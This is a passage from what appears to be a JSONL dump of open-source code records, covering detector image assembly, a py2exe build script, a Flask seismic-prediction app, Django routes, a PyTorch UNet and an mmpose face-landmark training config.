logging.StreamHandler()\nlogHandler.setFormatter(log._fmt)\nlog.addHandler(logHandler)\nlog.setLevel(log.DEBUG)\nlogHandler.setLevel(log.DEBUG)\n","sub_path":"host/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"17984711","text":"import numpy as np\n\nclass CsPad( object ):\n\n npix_quad = 850\n \n # origin of section in quad coordinate system\n #\n # x-position correspond to column number\n xpos_sec2x1 = [[ 414, 626, 0, 0, 213, 1, 418, 419], # 2:5 were not measured\n [ 421, 634, 0, 0, 213, 1, 424, 425],\n [ 417, 630, 0, 1, 212, 0, 425, 426],\n [ 416, 630, 0, 0, 213, 1, 420, 421]] # 2:5 were not measured\n # y-position correspond to maxrows - row number \n ypos_sec2x1 = [[ 0, 0, 214, 1, 425, 425, 615, 402], # 2:5 were not measured\n [ 0, 0, 214, 1, 425, 425, 615, 402],\n [ 0, 0, 215, 3, 431, 431, 616, 403],\n [ 0, 0, 214, 1, 425, 425, 615, 403]] # 2:5 were not measured\n \n\n def __init__(self, config):\n quads = range(4)\n self.sections = map(config.sections, quads)\n pass\n\n def CsPadElement( self, data3d, qn ):\n # Construct one image for each quadrant, each with 8 sections\n # from a data3d = 3 x 2*194 x 185 data array\n # +---+---+-------+\n # | | | 6 |\n # + 5 | 4 +-------+\n # | | | 7 |\n # +---+---+---+---+\n # | 2 | | |\n # +-------+ 0 | 1 |\n # | 3 | | |\n # +-------+---+---+\n\n # min and max\n #print \"CsPad (min,max) for quad %d: (%d,%d)\" % (qn,np.min(data3d),np.max(data3d))\n\n\n # if any sections are missing, insert zeros\n if len( data3d ) < 8 :\n zsec = np.zeros( (185,388), dtype=data3d.dtype)\n #zsec = zsec * -99\n for i in range (8) :\n if i not in self.sections[qn] :\n data3d = np.insert( data3d, i, zsec, axis=0 )\n\n pairs = []\n for i in range (8) :\n \n # insert gap between asics in the 2x1\n asics = np.hsplit( data3d[i], 2)\n gap = np.zeros( (185,4), dtype=data3d.dtype )\n #gap = gap * -99\n pair = np.hstack( (asics[0], gap, asics[1]) )\n\n \n # sections 2,3 and 6,7 are as is. The others need some rotation:\n if i==0 or i==1 :\n pair = pair[:,::-1].T\n if i==4 or i==5 :\n pair = pair[::-1,:].T\n\n pairs.append( pair )\n\n\n # make the array for this quadrant\n quadrant = np.zeros( (self.npix_quad, self.npix_quad), dtype=data3d.dtype )\n #quadrant = quadrant * -99\n\n # insert the 2x1 sections according to\n for sec in range (8):\n nrows, ncols = pairs[sec].shape\n\n # x,y in quadrant coordinate system\n xpos = self.xpos_sec2x1[qn][sec]\n ypos = self.ypos_sec2x1[qn][sec]\n colp = xpos\n rowp = self.npix_quad-ypos\n\n quadrant[rowp-nrows:rowp, colp:colp+ncols] = pairs[sec][0:nrows,0:ncols]\n\n\n # Finally, rotate the quadrant as needed\n if qn>0 : quadrant = np.rot90( quadrant, 4-qn)\n return quadrant\n\n\n\n def CsPadElementUnaligned( self, data3d, qn ):\n # Construct one image for each quadrant, each with 8 sections\n # from a data3d = 3 x 2*194 x 185 data array\n # +---+---+-------+\n # | | | 6 |\n # + 5 | 4 +-------+\n # | | | 7 |\n # +---+---+---+---+\n # | 2 | | |\n # +-------+ 0 | 1 |\n # | 3 | | |\n # +-------+---+---+\n\n zeros = np.zeros((18,388),dtype=data3d.dtype)\n zeros9 = np.zeros((9,388),dtype=data3d.dtype)\n zeros6 = np.zeros((6,388),dtype=data3d.dtype)\n\n # if any sections are missing, insert zeros\n if len( data3d ) < 8 :\n zsec = np.zeros( (185,388), dtype=data3d.dtype)\n for i in range (8) :\n if i not in self.sections[qn] :\n data3d = np.insert( data3d, i, zsec, axis=0 )\n #print \"section \", i\n #print data3d[i]\n\n\n s01 = np.concatenate( (zeros6.T,\n data3d[0][:,::-1].T,\n zeros6.T,\n data3d[1][:,::-1].T,\n zeros6.T),\n 1)\n s23 = np.concatenate( (zeros6,\n data3d[2], \n zeros6,\n data3d[3],\n zeros6 ),\n 0 )\n s45 = np.concatenate( (zeros6.T,\n data3d[5][::-1,:].T,\n zeros6.T,\n data3d[4][::-1,:].T,\n zeros6.T), \n 1 )\n s67 = np.concatenate( (zeros6,\n data3d[6], \n zeros6,\n data3d[7],\n zeros6 ),\n 0 )\n\n m1 = np.hstack( (s23, s01) )\n m2 = np.hstack( (s45, s67) )\n e0 = np.vstack( (m2, m1) )\n\n if qn>0 : e0 = np.rot90( e0, 4-qn)\n return e0\n\n","sub_path":"XtcExplorer/tags/V00-00-14/src/cspad.py","file_name":"cspad.py","file_ext":"py","file_size_in_byte":5291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"574278780","text":"__author__ = \"Rustam Safin\"\nimport os\nimport sys\n\nfrom distutils.core import setup\nfrom distutils.dir_util import copy_tree\nfrom py2exe.build_exe import py2exe\nimport glob\nimport zlib\nimport shutil\nimport time\nimport pyface\nimport enable\nimport test\n\ndistDir = \"build\"\n\n# Remove the build folder\nshutil.rmtree(\"build\", ignore_errors=True)\n\n\nclass Target(object):\n \"\"\" A simple class that holds information on our executable file. \"\"\"\n def __init__(self, **kw):\n \"\"\" Default class constructor. Update as you need. \"\"\"\n self.__dict__.update(kw)\n\ndef copyPackage (pkg, name, dist) :\n p = os.path.join (dist, name)\n copy_tree (pkg.__path__[0], p)\n\ncopyPackage (enable, \"enable\", distDir)\ncopyPackage (pyface, \"pyface\", distDir)\nincludes = ['sip', 'PyQt4.Qt', 'uuid', 'test']\nexcludes = ['_gtkagg', '_tkagg', 'bsddb', 'curses', 'email', 'pywin.debugger',\n 'pywin.debugger.dbgcon', 'pywin.dialogs', 'tcl',\n 'Tkconstants', 'Tkinter', 'tvtk', 'mayavi']\npackages = ['pyface', 'enable', 'chaco']\ndll_excludes = ['libgdk-win32-2.0-0.dll', 'libgobject-2.0-0.dll', 'tcl84.dll',\n 'tk84.dll']\ndata_files = []\nicon_resources = []\nbitmap_resources = []\nother_resources = []\n\n\nGUI2Exe_Target_1 = Target(\n # what to build\n script=\"main.py\",\n icon_resources=icon_resources,\n bitmap_resources=bitmap_resources,\n other_resources=other_resources,\n dest_base=\"main\",\n version=\"0.1\",\n company_name=\"MiT-Ufa\",\n copyright=\"Rustam Safin\",\n name=\"OmniBackupGantt\")\n\nsetup(\n data_files=data_files,\n options={\"py2exe\": {\"compressed\": 0,\n \"optimize\": 0,\n \"includes\": includes,\n \"excludes\": excludes,\n \"packages\": packages,\n \"dll_excludes\": dll_excludes,\n \"bundle_files\": 3,\n \"dist_dir\": distDir,\n \"xref\": False,\n \"skip_archive\": True,\n \"ascii\": False,\n \"custom_boot_script\": ''}},\n\n zipfile=r'library.zip',\n console=[],\n windows=[GUI2Exe_Target_1],\n service=[],\n com_server=[],\n ctypes_com_server=[])\n","sub_path":"src/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"280219867","text":"from PIL import Image\r\nimport socket\r\nimport os\r\nfrom flask import Flask, render_template, request, session, flash\r\nfrom pre import pre_process_me\r\nfrom datetime import timedelta\r\nfrom model_predict import predict_me\r\napp = Flask(__name__)\r\napp.secret_key = b'some_secret'\r\nUPLOAD_FOLDER = os.path.basename('uploads')\r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\nMASK_FOLDER = os.path.basename('masks')\r\napp.config['MASK_FOLDER'] = MASK_FOLDER\r\n\r\n# TODO:\r\n# MASK UPLOAD IN WEBSITE, PREDICT BUTTON\r\n# MODEL model-tgs-salt-2.h5\r\n\r\n\r\n@app.before_request\r\ndef make_session_active():\r\n session.modified = True\r\n\r\n\r\n@app.before_request\r\ndef make_session_permanent():\r\n session.permanent = True\r\n app.permanent_session_lifetime = timedelta(minutes=300)\r\n\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/')\r\ndef default_access():\r\n return render_template(\"index.html\")\r\n\r\n\r\n@app.route('/', methods=['POST'])\r\ndef home_page():\r\n if request.method == 'POST':\r\n if request.args.get('type') == \"upload_me\":\r\n if get_image() and get_thres():\r\n flash(\"Upload Success\")\r\n else:\r\n flash(\"Upload Failed\")\r\n\r\n return render_template(\"index.html\")\r\n\r\n\r\n@app.route('/predict', methods=['GET', 'POST'])\r\ndef predicts_me():\r\n if 'thres' in session and 'image_file_name' in session:\r\n X, X_feat = pre_process_me(session['image_file_name'])\r\n #call in model and predict\r\n salt_prop, mask_graph, scats = predict_me(X, X_feat, \"0cc1d0e4c4.png\", session['thres'])\r\n flash('Plot Me')\r\n print(salt_prop, mask_graph)\r\n return render_template(\"index.html\", salt_prop=salt_prop, mask_graph=mask_graph, plots=scats)\r\n else:\r\n flash(\"Please Upload Seismic Image and Threshold Value\")\r\n return render_template(\"index.html\")\r\n return render_template(\"index.html\")\r\n\r\n\r\ndef get_thres():\r\n try:\r\n thres = request.form['Thres']\r\n session['thres'] = int(thres)\r\n print(session)\r\n return True\r\n except Exception as e:\r\n return False\r\n\r\n\r\ndef get_image():\r\n file = request.files['Simage']\r\n f = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)\r\n file.save(f)\r\n flag = False\r\n try:\r\n im = Image.open(f)\r\n flag = True\r\n session['image_file_name'] = file.filename.split(\".\")[0] + \".PNG\"\r\n except IOError as e:\r\n os.remove(f)\r\n im.thumbnail((101, 101))\r\n im.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename.split(\".\")[0] + \".PNG\"))\r\n del im\r\n return flag\r\n\r\n\r\ndef get_mask():\r\n file = request.files['mask']\r\n f = os.path.join(app.config['MASK_FOLDER'], file.filename)\r\n file.save(f)\r\n flag = False\r\n try:\r\n im = Image.open(f)\r\n flag = True\r\n session['mask_file_name'] = file.filename.split(\".\")[0] + \".PNG\"\r\n except IOError as e:\r\n os.remove(f)\r\n im.thumbnail((101, 101))\r\n im.save(os.path.join(app.config['MASK_FOLDER'], file.filename.split(\".\")[0] + \".PNG\"))\r\n del im\r\n return flag\r\n\r\n\r\n","sub_path":"Code/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"637650622","text":"from django.urls import path\nfrom django.views.generic import TemplateView\nfrom .views import index, feedbackView,user_login, signup, user_logout, login_success, profile_view\nfrom . import views\n\napp_name = 'portfolio'\nurlpatterns = [\n path('', index.as_view(), name='index'),\n path('feedback/', feedbackView.as_view(), name='feedback'),\n path('feedback/index/', index.as_view(), name='index'),\n path('signup/', signup, name='signup'),\n path('signup/account/', login_success , name='signup_success'),\n path('login/', user_login, name='login'),\n path('login/account/', login_success , name='login_success'),\n path('account/', profile_view.as_view() , name='account'),\n #path('login/account/', profile_view.as_view() , name='account'),\n #path('login/account/', login_success , name='login_success'),\n #path('account/', user_logout, name='logout'),\n #path('account/login', user_login, name='login'),\n]","sub_path":"portfolio/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"538999156","text":"import torch\r\nimport torch.nn as nn\r\n\r\n\r\ndef EncoderBlock(i, o, kernel_size=(3, 3), stride=1, padding=1, bn=True):\r\n layers = [nn.Conv2d(i, o, kernel_size=kernel_size, stride=stride, padding=padding, bias=not bn)]\r\n if bn:\r\n layers += [nn.BatchNorm2d(o)]\r\n layers += [nn.ReLU(inplace=True)]\r\n\r\n layers += [nn.Conv2d(o, o, kernel_size=kernel_size,\r\n stride=stride, padding=padding, bias=not bn)]\r\n if bn:\r\n layers += [nn.BatchNorm2d(o)]\r\n layers += [nn.ReLU(inplace=True)]\r\n\r\n return nn.Sequential(*layers)\r\n\r\n\r\ndef DecoderBlock(i, o, kernel_size=(3, 3), stride=1, padding=1, bn=True):\r\n layers = [nn.Conv2d(i, o*2, kernel_size=kernel_size,\r\n stride=stride, padding=padding, bias=not bn)]\r\n if bn:\r\n layers += [nn.BatchNorm2d(o*2)]\r\n layers += [nn.ReLU(inplace=True)]\r\n\r\n layers += [nn.Conv2d(o*2, o*2, kernel_size=kernel_size,\r\n stride=stride, padding=padding, bias=not bn)]\r\n if bn:\r\n layers += [nn.BatchNorm2d(o*2)]\r\n layers += [nn.ReLU(inplace=True)]\r\n\r\n layers += [nn.ConvTranspose2d(o*2, o, kernel_size=2, stride=2)]\r\n return nn.Sequential(*layers)\r\n\r\n\r\nclass UNet(nn.Module):\r\n def __init__(self):\r\n super(UNet, self).__init__()\r\n self.enc_1 = EncoderBlock(3, 64)\r\n self.pool_1 = nn.MaxPool2d(2)\r\n self.enc_2 = EncoderBlock(64, 128)\r\n self.pool_2 = nn.MaxPool2d(2)\r\n self.enc_3 = EncoderBlock(128, 256)\r\n self.pool_3 = nn.MaxPool2d(2)\r\n self.enc_4 = EncoderBlock(256, 512)\r\n self.pool_4 = nn.MaxPool2d(2)\r\n\r\n self.dec_4 = DecoderBlock(512, 512)\r\n self.dec_3 = DecoderBlock(1024, 256)\r\n self.dec_2 = DecoderBlock(512, 128)\r\n self.dec_1 = DecoderBlock(256, 64)\r\n self.final = nn.Sequential(\r\n nn.Conv2d(128, 64, kernel_size=(3, 3), padding=1, bias=False),\r\n nn.BatchNorm2d(64),\r\n nn.ReLU(inplace=True),\r\n nn.Conv2d(64, 64, kernel_size=(3, 3), padding=1, bias=False),\r\n nn.BatchNorm2d(64),\r\n nn.ReLU(inplace=True),\r\n nn.Conv2d(64, 2, kernel_size=(1, 1)),\r\n )\r\n\r\n def forward(self, x):\r\n enc1 = self.enc_1(x)\r\n enc2 = self.enc_2(self.pool_1(enc1))\r\n enc3 = self.enc_3(self.pool_2(enc2))\r\n enc4 = self.enc_4(self.pool_3(enc3))\r\n dec4 = self.dec_4(self.pool_4(enc4))\r\n dec3 = self.dec_3(torch.cat((dec4, enc4), dim=1))\r\n dec2 = self.dec_2(torch.cat((dec3, enc3), dim=1))\r\n dec1 = self.dec_1(torch.cat((dec2, enc2), dim=1))\r\n out = self.final(torch.cat((dec1, enc1), dim=1))\r\n return out\r\n","sub_path":"models/unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"636421598","text":"_base_ = ['../../../_base_/default_runtime.py']\n\n# lapa coco wflw 300w cofw halpe\n\n# runtime\nmax_epochs = 120\nstage2_num_epochs = 10\nbase_lr = 4e-3\n\ntrain_cfg = dict(max_epochs=max_epochs, val_interval=1)\nrandomness = dict(seed=21)\n\n# optimizer\noptim_wrapper = dict(\n type='OptimWrapper',\n optimizer=dict(type='AdamW', lr=base_lr, weight_decay=0.05),\n clip_grad=dict(max_norm=35, norm_type=2),\n paramwise_cfg=dict(\n norm_decay_mult=0, bias_decay_mult=0, bypass_duplicate=True))\n\n# learning rate\nparam_scheduler = [\n dict(\n type='LinearLR',\n start_factor=1.0e-5,\n by_epoch=False,\n begin=0,\n end=1000),\n dict(\n type='CosineAnnealingLR',\n eta_min=base_lr * 0.005,\n begin=30,\n end=max_epochs,\n T_max=max_epochs - 30,\n by_epoch=True,\n convert_to_iter_based=True),\n]\n\n# automatically scaling LR based on the actual training batch size\nauto_scale_lr = dict(base_batch_size=512)\n\n# codec settings\ncodec = dict(\n type='SimCCLabel',\n input_size=(256, 256),\n sigma=(5.66, 5.66),\n simcc_split_ratio=2.0,\n normalize=False,\n use_dark=False)\n\n# model settings\nmodel = dict(\n type='TopdownPoseEstimator',\n data_preprocessor=dict(\n type='PoseDataPreprocessor',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n bgr_to_rgb=True),\n backbone=dict(\n _scope_='mmdet',\n type='CSPNeXt',\n arch='P5',\n expand_ratio=0.5,\n deepen_factor=0.67,\n widen_factor=0.75,\n out_indices=(4, ),\n channel_attention=True,\n norm_cfg=dict(type='SyncBN'),\n act_cfg=dict(type='SiLU'),\n init_cfg=dict(\n type='Pretrained',\n prefix='backbone.',\n checkpoint='https://download.openmmlab.com/mmdetection/v3.0/'\n 'rtmdet/cspnext_rsb_pretrain/cspnext-m_8xb256-rsb-a1-600e_in1k-ecb3bbd9.pth' # noqa\n )),\n head=dict(\n type='RTMCCHead',\n in_channels=768,\n out_channels=106,\n input_size=codec['input_size'],\n in_featuremap_size=tuple([s // 32 for s in codec['input_size']]),\n simcc_split_ratio=codec['simcc_split_ratio'],\n final_layer_kernel_size=7,\n gau_cfg=dict(\n hidden_dims=256,\n s=128,\n expansion_factor=2,\n dropout_rate=0.,\n drop_path=0.,\n act_fn='SiLU',\n use_rel_bias=False,\n pos_enc=False),\n loss=dict(\n type='KLDiscretLoss',\n use_target_weight=True,\n beta=10.,\n label_softmax=True),\n decoder=codec),\n test_cfg=dict(flip_test=True, ))\n\n# base dataset settings\ndataset_type = 'LapaDataset'\ndata_mode = 'topdown'\ndata_root = 'data/'\n\nbackend_args = dict(backend='local')\n\n# pipelines\ntrain_pipeline = [\n dict(type='LoadImage', backend_args=backend_args),\n dict(type='GetBBoxCenterScale'),\n dict(type='RandomFlip', direction='horizontal'),\n dict(type='RandomHalfBody'),\n dict(\n type='RandomBBoxTransform', scale_factor=[0.5, 1.5], rotate_factor=80),\n dict(type='TopdownAffine', input_size=codec['input_size']),\n dict(type='mmdet.YOLOXHSVRandomAug'),\n dict(\n type='Albumentation',\n transforms=[\n dict(type='Blur', p=0.2),\n dict(type='MedianBlur', p=0.2),\n dict(\n type='CoarseDropout',\n max_holes=1,\n max_height=0.4,\n max_width=0.4,\n min_holes=1,\n min_height=0.2,\n min_width=0.2,\n p=1.0),\n ]),\n dict(\n type='GenerateTarget',\n encoder=codec,\n use_dataset_keypoint_weights=True),\n dict(type='PackPoseInputs')\n]\nval_pipeline = [\n dict(type='LoadImage', backend_args=backend_args),\n dict(type='GetBBoxCenterScale'),\n dict(type='TopdownAffine', input_size=codec['input_size']),\n dict(type='PackPoseInputs')\n]\n\ntrain_pipeline_stage2 = [\n dict(type='LoadImage', backend_args=backend_args),\n dict(type='GetBBoxCenterScale'),\n dict(type='RandomFlip', direction='horizontal'),\n dict(type='RandomHalfBody'),\n dict(\n type='RandomBBoxTransform',\n shift_factor=0.,\n scale_factor=[0.5, 1.5],\n rotate_factor=80),\n dict(type='TopdownAffine', input_size=codec['input_size']),\n dict(type='mmdet.YOLOXHSVRandomAug'),\n dict(\n type='Albumentation',\n transforms=[\n dict(type='Blur', p=0.1),\n dict(type='MedianBlur', p=0.1),\n dict(\n type='CoarseDropout',\n max_holes=1,\n max_height=0.4,\n max_width=0.4,\n min_holes=1,\n min_height=0.2,\n min_width=0.2,\n p=0.5),\n ]),\n dict(\n type='GenerateTarget',\n encoder=codec,\n use_dataset_keypoint_weights=True),\n dict(type='PackPoseInputs')\n]\n\n# train dataset\ndataset_lapa = dict(\n type=dataset_type,\n data_root=data_root,\n data_mode=data_mode,\n ann_file='LaPa/annotations/lapa_trainval.json',\n data_prefix=dict(img='pose/LaPa/'),\n pipeline=[],\n)\n\nkpt_68_to_106 = [\n #\n (0, 0),\n (1, 2),\n (2, 4),\n (3, 6),\n (4, 8),\n (5, 10),\n (6, 12),\n (7, 14),\n (8, 16),\n (9, 18),\n (10, 20),\n (11, 22),\n (12, 24),\n (13, 26),\n (14, 28),\n (15, 30),\n (16, 32),\n #\n (17, 33),\n (18, 34),\n (19, 35),\n (20, 36),\n (21, 37),\n #\n (22, 42),\n (23, 43),\n (24, 44),\n (25, 45),\n (26, 46),\n #\n (27, 51),\n (28, 52),\n (29, 53),\n (30, 54),\n #\n (31, 58),\n (32, 59),\n (33, 60),\n (34, 61),\n (35, 62),\n #\n (36, 66),\n (39, 70),\n #\n ((37, 38), 68),\n ((40, 41), 72),\n #\n (42, 75),\n (45, 79),\n #\n ((43, 44), 77),\n ((46, 47), 81),\n #\n (48, 84),\n (49, 85),\n (50, 86),\n (51, 87),\n (52, 88),\n (53, 89),\n (54, 90),\n (55, 91),\n (56, 92),\n (57, 93),\n (58, 94),\n (59, 95),\n (60, 96),\n (61, 97),\n (62, 98),\n (63, 99),\n (64, 100),\n (65, 101),\n (66, 102),\n (67, 103)\n]\n\nmapping_halpe = [\n #\n (26, 0),\n (27, 2),\n (28, 4),\n (29, 6),\n (30, 8),\n (31, 10),\n (32, 12),\n (33, 14),\n (34, 16),\n (35, 18),\n (36, 20),\n (37, 22),\n (38, 24),\n (39, 26),\n (40, 28),\n (41, 30),\n (42, 32),\n #\n (43, 33),\n (44, 34),\n (45, 35),\n (46, 36),\n (47, 37),\n #\n (48, 42),\n (49, 43),\n (50, 44),\n (51, 45),\n (52, 46),\n #\n (53, 51),\n (54, 52),\n (55, 53),\n (56, 54),\n #\n (57, 58),\n (58, 59),\n (59, 60),\n (60, 61),\n (61, 62),\n #\n (62, 66),\n (65, 70),\n #\n ((63, 64), 68),\n ((66, 67), 72),\n #\n (68, 75),\n (71, 79),\n #\n ((69, 70), 77),\n ((72, 73), 81),\n #\n (74, 84),\n (75, 85),\n (76, 86),\n (77, 87),\n (78, 88),\n (79, 89),\n (80, 90),\n (81, 91),\n (82, 92),\n (83, 93),\n (84, 94),\n (85, 95),\n (86, 96),\n (87, 97),\n (88, 98),\n (89, 99),\n (90, 100),\n (91, 101),\n (92, 102),\n (93, 103)\n]\n\nmapping_wflw = [\n #\n (0, 0),\n (1, 1),\n (2, 2),\n (3, 3),\n (4, 4),\n (5, 5),\n (6, 6),\n (7, 7),\n (8, 8),\n (9, 9),\n (10, 10),\n (11, 11),\n (12, 12),\n (13, 13),\n (14, 14),\n (15, 15),\n (16, 16),\n (17, 17),\n (18, 18),\n (19, 19),\n (20, 20),\n (21, 21),\n (22, 22),\n (23, 23),\n (24, 24),\n (25, 25),\n (26, 26),\n (27, 27),\n (28, 28),\n (29, 29),\n (30, 30),\n (31, 31),\n (32, 32),\n #\n (33, 33),\n (34, 34),\n (35, 35),\n (36, 36),\n (37, 37),\n (38, 38),\n (39, 39),\n (40, 40),\n (41, 41),\n #\n (42, 42),\n (43, 43),\n (44, 44),\n (45, 45),\n (46, 46),\n (47, 47),\n (48, 48),\n (49, 49),\n (50, 50),\n #\n (51, 51),\n (52, 52),\n (53, 53),\n (54, 54),\n #\n (55, 58),\n (56, 59),\n (57, 60),\n (58, 61),\n (59, 62),\n #\n (60, 66),\n (61, 67),\n (62, 68),\n (63, 69),\n (64, 70),\n (65, 71),\n (66, 72),\n (67, 73),\n #\n (68, 75),\n (69, 76),\n (70, 77),\n (71, 78),\n (72, 79),\n (73, 80),\n (74, 81),\n (75, 82),\n #\n (76, 84),\n (77, 85),\n (78, 86),\n (79, 87),\n (80, 88),\n (81, 89),\n (82, 90),\n (83, 91),\n (84, 92),\n (85, 93),\n (86, 94),\n (87, 95),\n (88, 96),\n (89, 97),\n (90, 98),\n (91, 99),\n (92, 100),\n (93, 101),\n (94, 102),\n (95, 103),\n #\n (96, 104),\n #\n (97, 105)\n]\n\nmapping_cofw = [\n #\n (0, 33),\n (2, 38),\n (4, 35),\n (5, 40),\n #\n (1, 46),\n (3, 50),\n (6, 44),\n (7, 48),\n #\n (8, 60),\n (10, 64),\n (12, 62),\n (13, 66),\n #\n (9, 72),\n (11, 68),\n (14, 70),\n (15, 74),\n #\n (18, 57),\n (19, 63),\n (20, 54),\n (21, 60),\n #\n (22, 84),\n (23, 90),\n (24, 87),\n (25, 98),\n (26, 102),\n (27, 93),\n #\n (28, 16)\n]\ndataset_coco = dict(\n type='CocoWholeBodyFaceDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='coco/annotations/coco_wholebody_train_v1.0.json',\n data_prefix=dict(img='detection/coco/train2017/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=kpt_68_to_106)\n ],\n)\n\ndataset_wflw = dict(\n type='WFLWDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='wflw/annotations/face_landmarks_wflw_train.json',\n data_prefix=dict(img='pose/WFLW/images/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=mapping_wflw)\n ],\n)\n\ndataset_300w = dict(\n type='Face300WDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='300w/annotations/face_landmarks_300w_train.json',\n data_prefix=dict(img='pose/300w/images/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=kpt_68_to_106)\n ],\n)\n\ndataset_cofw = dict(\n type='COFWDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='cofw/annotations/cofw_train.json',\n data_prefix=dict(img='pose/COFW/images/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=mapping_cofw)\n ],\n)\n\ndataset_halpe = dict(\n type='HalpeDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='halpe/annotations/halpe_train_133kpt.json',\n data_prefix=dict(img='pose/Halpe/hico_20160224_det/images/train2015/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=mapping_halpe)\n ],\n)\n\n# data loaders\ntrain_dataloader = dict(\n batch_size=256,\n num_workers=10,\n persistent_workers=True,\n sampler=dict(type='DefaultSampler', shuffle=True),\n dataset=dict(\n type='CombinedDataset',\n metainfo=dict(from_file='configs/_base_/datasets/lapa.py'),\n datasets=[\n dataset_lapa, dataset_coco, dataset_wflw, dataset_300w,\n dataset_cofw, dataset_halpe\n ],\n pipeline=train_pipeline,\n test_mode=False,\n ))\nval_dataloader = dict(\n batch_size=32,\n num_workers=10,\n persistent_workers=True,\n drop_last=False,\n sampler=dict(type='DefaultSampler', shuffle=False, round_up=False),\n dataset=dict(\n type=dataset_type,\n data_root=data_root,\n data_mode=data_mode,\n ann_file='LaPa/annotations/lapa_test.json',\n data_prefix=dict(img='pose/LaPa/'),\n test_mode=True,\n pipeline=val_pipeline,\n ))\n\n# test dataset\nval_lapa = dict(\n type=dataset_type,\n data_root=data_root,\n data_mode=data_mode,\n ann_file='LaPa/annotations/lapa_test.json',\n data_prefix=dict(img='pose/LaPa/'),\n pipeline=[],\n)\n\nval_coco = dict(\n type='CocoWholeBodyFaceDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='coco/annotations/coco_wholebody_val_v1.0.json',\n data_prefix=dict(img='detection/coco/val2017/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=kpt_68_to_106)\n ],\n)\n\nval_wflw = dict(\n type='WFLWDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='wflw/annotations/face_landmarks_wflw_test.json',\n data_prefix=dict(img='pose/WFLW/images/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=mapping_wflw)\n ],\n)\n\nval_300w = dict(\n type='Face300WDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='300w/annotations/face_landmarks_300w_test.json',\n data_prefix=dict(img='pose/300w/images/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=kpt_68_to_106)\n ],\n)\n\nval_cofw = dict(\n type='COFWDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='cofw/annotations/cofw_test.json',\n data_prefix=dict(img='pose/COFW/images/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=mapping_cofw)\n ],\n)\n\nval_halpe = dict(\n type='HalpeDataset',\n data_root=data_root,\n data_mode=data_mode,\n ann_file='halpe/annotations/halpe_val_v1.json',\n data_prefix=dict(img='detection/coco/val2017/'),\n pipeline=[\n dict(\n type='KeypointConverter', num_keypoints=106, mapping=mapping_halpe)\n ],\n)\n\ntest_dataloader = dict(\n batch_size=32,\n num_workers=10,\n persistent_workers=True,\n drop_last=False,\n sampler=dict(type='DefaultSampler', shuffle=False, round_up=False),\n dataset=dict(\n type='CombinedDataset',\n metainfo=dict(from_file='configs/_base_/datasets/lapa.py'),\n datasets=[val_lapa, val_coco, val_wflw, val_300w, val_cofw, val_halpe],\n pipeline=val_pipeline,\n test_mode=True,\n ))\n\n# hooks\ndefault_hooks = dict(\n checkpoint=dict(\n save_best='NME', rule='less', max_keep_ckpts=1, interval=1))\n\ncustom_hooks = [\n dict(\n type='EMAHook',\n ema_type='ExpMomentumEMA',\n momentum=0.0002,\n update_buffers=True,\n priority=49),\n dict(\n type='mmdet.PipelineSwitchHook',\n switch_epoch=max_epochs - stage2_num_epochs,\n switch_pipeline=train_pipeline_stage2)\n]\n\n# evaluators\nval_evaluator = dict(\n type='NME',\n norm_mode='keypoint_distance',\n)\ntest_evaluator = val_evaluator\n","sub_path":"configs/face_2d_keypoint/rtmpose/face6/rtmpose-m_8xb256-120e_face6-256x256.py","file_name":"rtmpose-m_8xb256-120e_face6-256x256.py","file_ext":"py","file_size_in_byte":14494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"599413306","text":"import csv\nimport json\nimport os\nfrom pathlib import Path\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\n\nimport fire\nfrom beautifultable import BeautifulTable\n\nfrom pysondb.core.db import getDb\n\n\ndef create_if_not_exist(file_name: str) -> None:\n \"\"\"\n Checks for the existence of the provided JSON DB.\n If it does not, this will add {data:[]}.\n :param str file_name: The absolute path to the DB file\n \"\"\"\n if not os.path.exists(file_name):\n with open(file_name, \"w\") as db_file:\n db: Dict[str, Any] = {}\n json.dump(db, db_file)\n print(\"Succesfully created {} in the directory.\".format(file_name))\n\n\ndef display(file_name: str) -> None:\n\n if 